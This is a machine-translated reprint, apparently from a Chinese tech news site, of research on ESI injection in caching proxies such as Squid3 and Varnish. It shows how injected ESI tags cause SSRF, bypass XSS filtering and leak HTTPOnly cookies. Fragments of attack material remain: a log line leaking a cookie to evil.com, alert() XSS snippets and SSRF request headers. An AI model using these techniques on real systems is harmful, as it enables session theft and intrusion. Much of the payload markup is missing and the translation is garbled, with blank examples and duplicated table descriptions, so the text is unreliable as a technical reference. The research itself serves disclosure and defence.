Shulou(Shulou.com)05/31 Report--

In this issue, the editor will bring you about the penetration of SSRF and other client forms formed by caching services in ESI injection. The article is rich in content and analyzes and describes for you from a professional point of view. I hope you can get something after reading this article.

Edge Side Includes (ESI) markup language is mainly used in various popular HTTP proxies (such as reverse proxy, load balancing, cache server, proxy server) to solve the problem of web page caching. Earlier, we found an abnormal behavior of Edge Side Includes (ESI) during the security assessment. After testing, we found that the successful use of ESI can lead to SSRF, XSS attacks bypassing HTTPOnly cookie tags and server denial of service attacks. We call this utilization technology of ESI ESI injection (ESI Injection).

Application products involved in ESI injection vulnerabilities

Through verification, we find more than a dozen applications that support ESI, such as Varnish,Squid Proxy,IBM WebSphere,Oracle Fusion / WebLogic,Akamai,Fastly,F5,Node.js ESI,LiteSpeed and other specific language plug-ins. If these applications or plug-ins enable the ESI function, there will be the risk of ESI injection vulnerabilities.

Introduction to Edge Side Includes (ESI)

ESI markup language is mainly based on a set of XML tags, which is used in many popular HTTP proxies to solve the problem of high-load web page caching. ESI tags are used to guide reverse proxies (or cache servers) to obtain web content information to be fetched in the cache. Before the client initiates a request, the content information may also come from other servers, and these cached pages also contain dynamic content.

ESI uses simple markup language to describe the content fragments that can be accelerated and can not be accelerated. Finally, each web page can be divided into different fragments, and different cache control strategies are given, so that the cache server can dynamically combine different fragments together before sending the complete web page to the user. Through this control mode, the number of times of fetching the whole page from the server can be effectively reduced, and only a small number of fragments that can not be cached from the original server can be extracted, so the load of the server can be effectively reduced. At the same time, improve the response time of user access. ESI is mostly executed on the cache server or proxy server.

A common use case of ESI technology is to deal with static pages containing dynamic content. Developers can use ESI tags to replace the dynamic parts of the page to increase cache flexibility. Therefore, when the page is requested, the ESI tag will be obtained and processed, ensuring the performance of the back-end application server.

The following weather forecast page is a typical use case of ESI technology. The weather forecast website caches the weather page content of a city, in which the dynamic data is replaced by their respective ESI tags and points to an API server URL. The cache and dynamic content together constitute a real-time weather situation:

The ESI syntax is very simple, and the HTML file for the weather forecast example above looks like this:

The Weather Website Weather for Monday: Tuesday: […]

The earliest ESI specification dates back to 2001, when the definition of ESI applied to each program was different, and each product had its own features, some of which were missing. You can refer to the original ESI specification definition, which describes the various functional applications of markup language, and many application vendors later added more functions to it.

The cause of ESI injection vulnerability

Between the ESI tags responded by the upstream server and the ESI tags injected by the malicious attacker into HTTP, the HTTP agent cannot distinguish between legitimate ESI tags, that is, if the attacker can successfully inject ESI tags into the HTTP response content, the agent will parse through evaluation and assume that they are legitimate ESI tags from the upstream server response.

When dealing with ESI tags, ESI parsers will not encode or escape characters between less than and greater signs. Nowadays, Web application servers will escape some special characters entered by users to prevent XSS attacks. Although this can effectively prevent ESI tag semantics returned by agents after parsing, sometimes ESI tags can be injected into non-HTML form HTTP response content.

In fact, ESI's new features now allow developers to add dynamic content to other cached or static data sources, such as JSON objects and CSV objects. For more information on how ESI+JSON objects are handled, refer to this article, which demonstrates how the ESI parser in JSON objects handles ESI tags through configuration.

Since the current application framework will contextualize the escape process, it is not uncommon for API servers to include strings in the form of HTML in the JSON properties, because the information will not be parsed by browsers as HTML. However, this also allows attackers to inject ESI tags that can be parsed by the agent into the input of the JSON response during information transmission, resulting in poisoning.

The above scenarios are rare. Most of the attacks are that the back-end server parses ESI tags and then processes them through load balancers or agents with ESI enabled. Obviously, if the user's input is filtered and censored, the XSS attack can be effectively mitigated, and the ESI tag will be encoded and not parsed by the agent.

Harm of ESI injection server request forgery (SSRF)

There is no doubt that the most common and useful feature is includes tags, which can be parsed by proxies or load balancers. ESI include tags can perform HTTP requests to obtain dynamic content. If an attacker adds an ESI tag to the HTTP response, this combination can lead to SSRF attacks in the proxy server environment (not the application server).

Payload such as the following can implement SSRF attacks in HTTP proxies:

If you can get a HTTP callback, the proxy server may have an ESI injection vulnerability. The implementation of ESI varies, and some servers that support ESI do not allow includes tags generated from hosts that are not filtered by whitelist policies, realizing that SSRF attacks can only be performed on one server, which is discussed in the "implementation differences" section below. Now, let's take a look at the process of implementing a SSRF attack with ESI tags:

1 the attacker uses ESI payload to initiate a request to the back-end server through the intermediate proxy server, and tries to get the back-end server to respond to the payload

2 the proxy server receives the request and forwards it to the appropriate back-end server

3 suitable back-end application server responds to ESI payload and returns the response to the proxy server

4 after receiving the response from ESI payload, the proxy server determines whether there is an ESI tag, and the proxy server parses the existing ESI tag and executes the request to the malicious server evil.com.

5 the proxy server receives a request from the malicious server evil.com and adds it to the initial response of the back-end server

6 the proxy server returns the complete response content to the client.

Bypass client-side XSS filtering mechanism

The client-side XSS filtering mechanism generally runs by comparing the request input and the response output. When some GET parameters appear in the HTTP response, the browser will initiate security filtering measures to identify whether there is a XSS payload attack. If the browser recognizes that the payload is HTML as Javascript, then the attack will be blocked.

However, because the XSS protection mechanism of Chrome browsers does not recognize ESI tags, it is impossible for ESI tags to be processed and executed on the client side. After some ESI tricks, you can assign some XSS payload to the variables of the ESI engine, and then you can return them to display.

Before sending to the browser, the ESI engine creates a malicious Javascript payload on the server side. In this way, since the input sent to the server does not return a response as it is sent to the browser, it can bypass the XSS filtering mechanism. Here is a similar payload:

X=alert (/ Chrome%20XSS%20filter%20bypass/)

Operator specifies that an arbitrary value is stored in the server-side ESI variable, which can be obtained through the $(variable_name) operator. In the previous example, var1 is used to store the 'cript' value, which will eventually become a valid HTML tag to be parsed through a combined call, and the payload that can display the response looks like this:

Alert (/ Chrome%20XSS%20filter%20bypass/)

Some ESI implementations do not support ESI variables, so they cannot be utilized in this way. When the includes tag is available, you can point the includes tag to an external domain that contains XSS payload. The following is a typical example of using ESI includes tags to transition from SSRF to XSS:

Poc.html:

Alert (1)

Then, inject the ESI tag into the ESI includes of the page:

GET / index.php?msg=

Bypass HttpOnly Cookie markup

By design, HTTP agents such as agents and load balancers can access complete HTTP requests and responses, which includes a useful function in all cookie,ESI specifications sent by the browser or server is to define a cookie that can access the transmission within the ESI tag, which allows developers to reference cookie in the ESI engine, this kind of stateful cookie information will bring more flexibility.

However, this feature also produces an important attack vector: cookie exfiltration (cookie leakage). One of the existing countermeasures against cookie theft is to use the HTTPOnly tag under the Javascript engine, which is defined when the cookie is created, which blocks the Javascript engine's access to cookie and its variable values, preventing XSS attacks in the form of cookie theft. Because ESI is processed on the server side, these cookie can be utilized when the upstream server transmits cookie to the proxy server. One way to attack is to use ESI includes tags to steal or leak cookie in URL. For example, the following payload is being processed by ESI:

In the HTTP log of the malicious server evil.com controlled by the attacker, the attacker can see the following information:

127.0.0.1 evil.com-[08/Mar/2018:15:20:44-0500] "GET /? cookie=bf2fa962b7889ed8869cadaba282 HTTP/1.1" 200 2 "-"-"

In this way, without the involvement of Javascript, HTTPOnly cookie can be stolen or leaked.

Difference of implementation mode

As mentioned earlier, the implementation of ESI is different in different application products, and the same function in the same way may not be implemented in other products. The following software products have been tested, and there are some software product effects that can be attacked by ESI:

The attributes in the table are as follows:

Includes: this column describes the implementation of operations by the ESI engine

Vars: this column describes the implementation of operations by the ESI engine

Cookie: this column describes the access of the ESI engine to cookie

Upstream Headers Required: this column describes whether the ESI engine requires upstream server tag headers, and the proxy server does not process ESI declaration statements unless the tag headers are provided by the upstream server.

Host Whitelist: this column describes whether the ESI includes tag applies only to server-side hosts that implement the whitelist policy, and if this is true, ESI includes

The following sections are about the actual use cases of some vendor software product features and ESI injection implementations:

Squid3

For example, we found CVE-2018-1000024 and CVE-2018-1000027 related to Squid3, in the Squid3 environment, we can use the following payload to steal cookie leakage:

.

Varnish Cache

Attackers can inject ESI tags into the transmission and exchange of some JSON API or pictures, such as adding ESI tags to the image upload function of the profile, and the server will return the response after parsing, forming ESI injection.

In addition, attackers can use two HTTP tag headers, X-Forwarded-For and JunkHeader, to form a SSRF attack with the following ESI payload:

The ESI includes tag request issued is as follows:

GET / HTTP/1.1

User-Agent: curl/7.57.0

Accept: * / *

Host: anything.com

X-Forwarded-For: 127.0.0.1

JunkHeader: JunkValue

X-Forwarded-For: 209.44.103.130

X-Varnish: 120

In addition, we have successfully implemented vulnerability testing of ESI injection attacks in many products and applications, such as Akamai ESI Test Server, Fastly, NodeJS' ESI, NodeJS' nodesi and so on.

How to detect ESI injection

Some proxy products add an ESI processing mechanism to the Surrogate-Control HTTP header tag header to achieve verification identification, which can be used to inform the upstream server of the existence of the ESI tag in the response content in preparation for some corresponding parsing operations. If you find a HTTP tag header like this that responds to the content: Surrogate-Control: content= "ESI/1.0", then there may be an ESI-enabled architecture in the process.

However, most agents and load balancers remove the header header before sending the response to the client, and some agents do not even need the Surrogate-Control headers header. Therefore, this method of ESI judgment is not all applicable. In view of the wide selection of functions implemented by ESI, there is not a technology that can be used to detect and detect ESI injection. The only more comprehensive approach may be to identify ESI injection by testing a variety of ESI payload and summarizing the threat characteristics. For example, ESI includes can be used to SSRF an attacker-controlled server, but in some environments the implementation needs to be a whitelisted host.

Industry Application Hidden danger of ESI

In essence, ESI is an outdated specification definition, but unexpectedly, it is also widely used in some popular caching systems to implement certain functions. Although most of the ESI features in some of the products we analyze are disabled by default, there are still some product applications directly available to ESI, such as IBM WebSphere, Squid3, Oracle Fusion/WebLogic, F5 and LiteSpeed.

Solution method

ESI injection attacks occur when agents with ESI capabilities parse unfiltered user input as a consequence of improper review of user input. Generally speaking, some XSS protection measures or frameworks can effectively defend against ESI injection, but in practice, the main reason is the lack of security considerations in the ESI specification.

As mentioned earlier, this security threat can be partially mitigated by whitelisting the domains or hosts available to ESI includes, and as a software vendor, users should at least be explicitly warned of the risks of enabling ESI functionality.

Summary

Through the vulnerability exploitation of ESI function in caching services and open source applications, we test and demonstrate an attack path that has never been disclosed before, and finally achieve Cookie leakage, SSRF and client XSS filtering bypass. In this process, we also explain the conditions of this vulnerability exploitation technology and Payload, hoping that this idea can be helpful to vulnerability excavators. At the same time, it also makes the security community and product suppliers pay attention to the function of ESI.

The above is how to use the caching service to form SSRF and other client forms in the ESI injection shared by Xiaobian. If you happen to have similar doubts, please refer to the above analysis to understand. If you want to know more about it, you are welcome to follow the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.